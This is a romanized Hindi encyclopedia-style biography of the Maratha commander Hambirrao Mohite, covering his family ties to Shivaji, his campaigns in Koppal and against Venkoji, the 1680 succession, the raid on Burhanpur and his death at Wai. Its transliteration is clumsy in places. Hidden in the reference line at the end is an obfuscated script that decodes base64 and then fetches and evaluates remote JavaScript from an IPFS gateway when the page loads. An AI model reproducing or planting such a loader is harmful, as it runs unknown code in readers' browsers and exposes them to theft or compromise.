हंबीरराव मोहिते
hanbirarav mohite (aangreji: Hambirrao Mohite, janm- 1 mee, 1632, talabid, zila satara, maharashtr) maratha samrajy ke senapati the. unhoanne chhatrapati shivaji se lekar ke sanbhaji tak senapati ka kartavy nibhaya. hanbirarav bahut hi vishvasadayi tatha vaphadar senapati the jo svarajy ke svapan ko sakar banana chahate the. unhoanne apane malik chhatrapati shivaji maharaj ke har ek adesh ki palana ki tatha praja ki bhalaee ke bare mean socha.
parichay
hanbirarav mohite ka janm 1 mee, 1632 ko talabid, vartaman satara jila, maharashtr mean hua tha. unake pita sanbhaji mohite ek vaphadar mukhy nayak the. hanbirarav ke 2 bhaee tatha 2 bahine thian. unake bhaee hariph rav v shankar ji the aur unaki bahane soyarabaee v annoobaee thian. mohite ne apane pita sanbhaji mohite ke sare gun apana lie the. vah bhi ek vaphadar mukhy nayak bane tatha maratha samrajy ke senapati ka rol nibhaya. unaki putri ka nam tarabaee tha jisaka vivah chhatrapati shivaji maharaj ke chhote putr rajaram se hua tha. hanbirarav mohite ka dohitr shivaji dvitiy tha. hanbirarav mohite ki bahan soyarabaee ka vivah shivaji maharaj ke sath kiya gaya tha tatha usaki doosari bahan annoobaee ka vivah shivaji maharaj ke sautele bhaee veankoji ke sath kiya gaya tha.[1]
yuddh netritv
hanbirarav mohite ke samay mean karnatak ke koppal rajy mean adilashah ke do janaral abdul rahim khan miyaan tatha unaka bhaee husain miyaan shasan karate the. donoan bhaee bahut hi nirdee pravritti ke iansan the tatha ve vahaan ke kisanoan ke sath bahut hi kroor vyavahar karate the. rajy mean phasal na hone par tatha akal p dane par bhi ve kisanoan se poora kar vasool karate the. garib kisan unake samane bhikh maangate the, parantu vah kisi ki bhi nahian sunate the. un donoan ne vahaan par atank macha ke rakha tha. koppal praant ke kisanoan ne chhatrapati shivaji maharaj ko isake bare mean shikayat ki. shivaji maharaj ne apane senapati hanbirarav ko unaki samasya ke nivaran ke lie vahaan par bheja.
janavari 1677 ee. ko chhatrapati shivaji maharaj ki sena hanbirarav mohite ke netritv mean adilashah ki sena se bhi di. mohite tatha dhanaji jadhav ne bahut hi virata dikhaee. unaki sena ne adilashah ki adhi se jyada sena ko vahian par khatm kar diya. unhoanne abdul rahim khan ko maut ke ghat utar diya tatha husain khan ko bandi bana liya.
kuchh samay bad shivaji maharaj dakshin digvijay (dakshin praant) mean ge. vahaan par unake sautele bhaee veankoji ne apane pita ki sanpatti ko sajha karane se mana kar diya. jisake bad shivaji tatha veankoji ke bich mean yuddh shuroo ho gaya. kyoanki mehite shivaji ki sena ke senapati the to unhoanne veankoji ke kee praant, jaise- jagadevagadh, kaveripattam, chidanbaram aur vriddhachalam ityadi par vijay prapt kar li. veankoji apane itane sare praant khone ke bad nirash ho ge. veankoji ne 6 navanbar 1677 ee. ko hanbirarav mohite par akraman kar diya. us samay shivaji apane parivarik chianta ke karan yuddh kshetr mean utani jyada sakriy nahian the aur aisa laga ki mohite is yuddh mean har jaeange. parantu mohite ne veankoji ki sena par bahut tivr gati se akraman kiya tatha unhean hara diya. lagabhag 2 mahine ke bad is yuddh ka samapan hua.[1]
maratha uttaradhikar ki l daee
3 aprail 1680 ee. ko chhatrapati shivaji maharaj ka dehaant ho gaya to unake uttaradhikari ka prashn utha. unaki patni soyarabaee ne apane 10 varshiy putr rajaram ko rajasianhasan par bitha diya. sanbhaji maharaj, shivaji maharaj ke jeshth putr the. b de hone ke nate tatkalin riti-rivajoan ke anusar vah hi maratha samrajy ke uttaradhikari ban sakate the. apane pita ki mrityu ke samay sanbhaji doosare kile mean rah rahe the. jaise hi is bat ki soochana sanbhaji maharaj ko pata chali to unhoanne rajaram ko hatakar ke maratha samrajy ki rajagaddi par adhipaty karane ki sochi. asal mean rajaram, hanbirarav mohite ka bhaanja tha. kee deshadrohi mantri bhi rajaram ke sath ho ge the. unhoanne sanbhaji ko bandi bana liya tha. hanbirarav ne un sabhi mantriyoan ko bandi banakar ke sanbhaji maharaj ko mukt karavaya aur bad mean unaka rajy abhishek sanpann karavaya.
mugal vyaparik keandroan ki loot
us samay burahanapur uttar v dakshin bharat ko vyaparik marg se jo data tha. sanbhavat: burahanapur mean kee sare purtagali log bhi raha karate the. vahaan ke mugal kshetr-senapati ne sthaniy logoan ke khilaph atank macha rakha tha. un sthaniy logoan ne sanbhaji maharaj se sahayata maangi. 30 janavari 1681 ko sanbhaji maharaj tatha unake senapati hanbirarav mohite ne burahanapur par akraman kar diya. us samay par burahanapur ka soobedar khanajahaan tha aur kile mean matr do 200 sainik the. parantu sanbhaji tatha hanbirarav ki sena mean 20,000 sainik the. mugaloan ke samane itani b di sena ko rokane ke lie koee takat nahian thi. maratha sainikoan ne burahanapur ke sare mugal vyapar keandroan ko loot liya aur 3 dinoan ke aandar vahaan par ek karo d dhanarashi se bhi jyada ka saman prapt kar liya.
mrityu
san 1686 mean mugaloan tatha marathoan ke bich mean vaee ka yuddh hua. yah vaee praant mean hua tha jisaki vajah se ise 'vaee ka yuddh' ke nam se jana jata hai. is yuddh mean maratha shasak sanbhaji ne apane senapati hanbirarav ko bheja tha tatha mugaloan ki taraph se saraja khan tha. hanbirarav ne bahut hi chalaki se mugaloan ko vaee ke kshetr se paha di kshetr ki or le kar ge. vahaan par unhean hara diya tatha marathoan ki vijay huee. durbhagyavash, 16 disanbar 1687 ee. ko is vaee ke yuddh mean hanbirarav mohite ke oopar top ka gola akar gir gaya, jisaki vajah se unaki mrityu ho gee. us samay hanbirarav ki umr matr 57 varsh thi. unaki mrityu ke bad marathoan ne vijay ke bad bhi apane ek beshakimati hire ko kho diya.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 hanbirarav mohite ka jivan parichay (hiandi) hindivibes.com. abhigaman tithi: 22 navanbar, 2021.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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